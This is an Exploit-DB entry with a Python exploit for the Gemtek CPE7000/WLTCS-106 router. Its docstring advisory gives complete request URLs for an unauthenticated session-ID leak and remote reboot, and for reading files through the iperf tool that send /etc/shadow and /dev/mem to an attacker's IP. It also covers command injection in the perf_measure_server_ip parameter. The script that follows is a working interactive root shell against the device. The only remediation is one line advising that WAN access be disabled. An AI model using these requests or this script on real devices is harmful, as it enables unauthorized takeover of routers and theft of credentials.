Gemtek CPE7000 / WLTCS-106 - Multiple Vulnerabilities

EDB-ID:

39716

CVE:

N/A




Platform:

Hardware

Date:

2016-04-21


#!/usr/bin/python

'''
# Exploit Title: Gemtek CPE7000 / WLTCS-106 multiple vulnerabilities
# Date: 04/06/2016
# Exploit Author: Federico Ramondino - framondino[0x40]mentat[0x2e]is
# Vendor Homepage: gemtek.com.tw
# Version: Firmware Version 01.01.02.082
# Tested on: 
# Product Name : CPE7000
# Model ID : WLTCS-106
# Hardware Version : V02A
# Firmware Version : 01.01.02.082

1) SID leak / auth bypass
The sysconfg cgi application leaks a valid "SID" (session id) when the
following unauthenticated request is made:
Request: GET /cgi-bin/sysconf.cgi?page=ajax.asp&action=login_confirm HTTP/1.1

The response body has the form: <checkcode>,<sid>
Example resp: RJIi,BtsS2OdhcVSbviDC5iMa1MKeo9rbrgdQ

The sid thus obtained can be used to "unlock" the cliend-side administration
interface and/or to directly issue request that are usually restricted to
administrative accounts.

POCs: 

I) Unauthenticated remote reboot:
Request:
/cgi-bin/sysconf.cgi?page=ajax_check.asp&action=reboot&reason=1&sid=<SID>

II) Web admin interface access. Add a new cookie with the following values: 
userlevel=2
sid=<sid>

--------------------------------------------------------------------------------

2) Arbitrary file download - with root privileges - via iperf tool
One of the diagnostic tools available on the device can be used to read an
arbitrary file on the device. The sysconfg cgi application fails to sanitize
user input, allowing an attacker to hijack the command issued to the "iperf"
binary, a commonly-used network testing tool that can create TCP and UDP data
streams and measure the throughput of a network that is carrying them.

The client-side validation can be easily bypassed by changing the javascript
validation code, or by directly sending a forged request to the server.
The iperf tool is run with the -c switch, meaning that it is behaving as a
client that sends data to a server. By adding the -F parameter, iperf is forced
to read data from a file instead of generating random data to be sent during the
measurement.

This attack needs 2 step in order to take advantage of the vulnerability.
The first request sets up the command be to run, the second one (a.k.a. toggle)
actually runs the command (check the response body, 1 means running, 0 means stopped).

The following "SETUP" request can be used to set the correct parameters:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
p=X.X.X.X&perf_measure_server_port=YYYY&perf_measure_cpe_port=5554&perf_measure_
test_time=ZZ&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024&
perf_measure_bandwidth=19m&perf_measure_client_num=1%20-F%20 <URLENCODED PATH TO
FILE>

Parameters breakdown:
XXX.XXX.XXX.XXX = attacker ip
YYYY = attacker listening port
zz = time limit
Note: nc is enough to capture data, which may be sent with some additional
header and footer introduced by iperf's protocol

In order to run iperf, the following "TOGGLE" (run/stop) request must be sent:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle


POCs:
I) download of /etc/shadow
SETUP REQUEST:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
p=X.X.X.X&perf_measure_server_port=YYYY&perf_measure_cpe_port=5554&perf_measure_
test_time=30&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024&p
erf_measure_bandwidth=19m&perf_measure_client_num=1%20-F%20%2fetc%2fshadow

RUN/STOP(Toggle) REQUEST:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle


II) download of device physical memory (/dev/mem) with increased perf_measure_test_time:
SETUP REQUEST:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
p=X.X.X.X&perf_measure_server_port=YYYY&perf_measure_cpe_port=5554&perf_measure_
test_time=6000&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024
&perf_measure_bandwidth=19m&perf_measure_client_num=1%20-F%20%2fdev%2fmem

RUN/STOP(Toggle) REQUEST:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle

--------------------------------------------------------------------------------

3) Unauthenticated remote root command execution
The same vulnerability can be used to issue an arbitrary command on the device.
The command executed on the system to run the diagnostic tool is constructed
using the sprintf function and the following format string, with no additional
checks:

iperf -c "%s" -p %s -t %s -l %s -b %s -L %s -r -u > /tmp/iperf.txt &

It is therefore possible to insert another command by injecting it in the 
"perf_measure_server_ip" parameter and commenting out the rest of the original
command.

To concatenate a command, the string in the first half before the injection
point ( iperf -c " ) must be correctly closed with quotes ( " ).
Then the new command can be added, preceded by a semicolon ( ; ).
Finally, the other part of the original command after the "injection point"
must be commented out ( # ).

iperf -c ""; <NEWCMD> #" -p %s -t %s -l %s -b %s -L %s -r -u > /tmp/iperf.txt &


SETUP REQUEST:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
p=%22%3b%20<COMMAND_HERE>%20%23&perf_measure_server_port=5555&perf_measure_cpe_p
ort=5554&perf_measure_test_time=60&perf_measure_protocol_type=1&perf_measure_pac
ket_data_length=1024&perf_measure_bandwidth=19m&perf_measure_client_num=1

RUN/STOP(Toggle) REQUEST:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle


POC (echo test > /www/test):
/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_i
p=%22%3b%20echo%20test%20%3E%20%2fwww%2ftest%20%23&perf_measure_server_port=5555
&perf_measure_cpe_port=5554&perf_measure_test_time=60&perf_measure_protocol_type
=1&perf_measure_packet_data_length=1024&perf_measure_bandwidth=19m&perf_measure_
client_num=1

and toggle:
/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle

--------------------------------------------------------------------------------

Remediation:
Disable wan access to the management web interface until an updated firmware is released.

More information and a detailed how-to is available at: http://www.mentat.is/docs/cpe7000-multiple-vulns.html
'''

#Gemtek CPE7000 / WLTCS-106 remote root command execution
#Author: Federico Ramondino - framondino[0x40]mentat[0x2e]is
# Tested on: 
# 		Product Name : 	CPE7000
#		Model ID : 	WLTCS-106
#		Hardware Version : 	V02A
#		Firmware Version : 	01.01.02.082

import httplib
import ssl
import urllib
import time
import sys
import getopt
import socket

ssl._create_default_https_context = ssl._create_unverified_context

host=''
port = 443

def check():
	try:
        	conn = httplib.HTTPSConnection(host +":"+str(port), timeout=10)
        	conn.request("GET", "/cgi-bin/sysconf.cgi?page=ajax.asp&action=diagnostic_tools_start&notrun=1")
        	r1 = conn.getresponse()
        	if r1.status != 200:
			return False
        	return True
	except socket.error as msg:
		print "Cannot connect";
		sys.exit();


def sendcmd( cmd ):
	resource = '"; ' + cmd + ' &> /www/cmdoutput.txt #'
	urlencoded = urllib.quote_plus(resource)
	cmdresource = "/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_iperf_value&perf_measure_server_ip=" +urlencoded + "&perf_measure_server_port=5555&perf_measure_cpe_port=5554&perf_measure_test_time=60&perf_measure_protocol_type=1&perf_measure_packet_data_length=1024&perf_measure_bandwidth=19m&perf_measure_client_num=1"
	res = makereq (cmdresource)
	res =makereq ("/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle")
	if(res!="1"):
		res =makereq ("/cgi-bin/sysconf.cgi?page=ajax.asp&action=perf_measure_status_toggle")
	time.sleep(1)
	res = makereq ("/cmdoutput.txt")
	print res


def makereq (resource):
	conn = httplib.HTTPSConnection(host +":"+str(port))
	conn.request("GET", resource)
	r1 = conn.getresponse()
	body = r1.read()
	return body


if len(sys.argv) < 2:
	print 'GemtekShell.py <host> [<port> (443)]'
	exit()
elif len(sys.argv) > 2:
	port = sys.argv[2]

host = sys.argv[1]

print 'Connecting to ', host, port

if not check() :
	print "Host seems not vulnerable"
	sys.exit()


while(1):
	cmd = raw_input("gemtekCMD> ")
	if cmd.strip() != "quit" :
		sendcmd(cmd)
	else :
		sys.exit()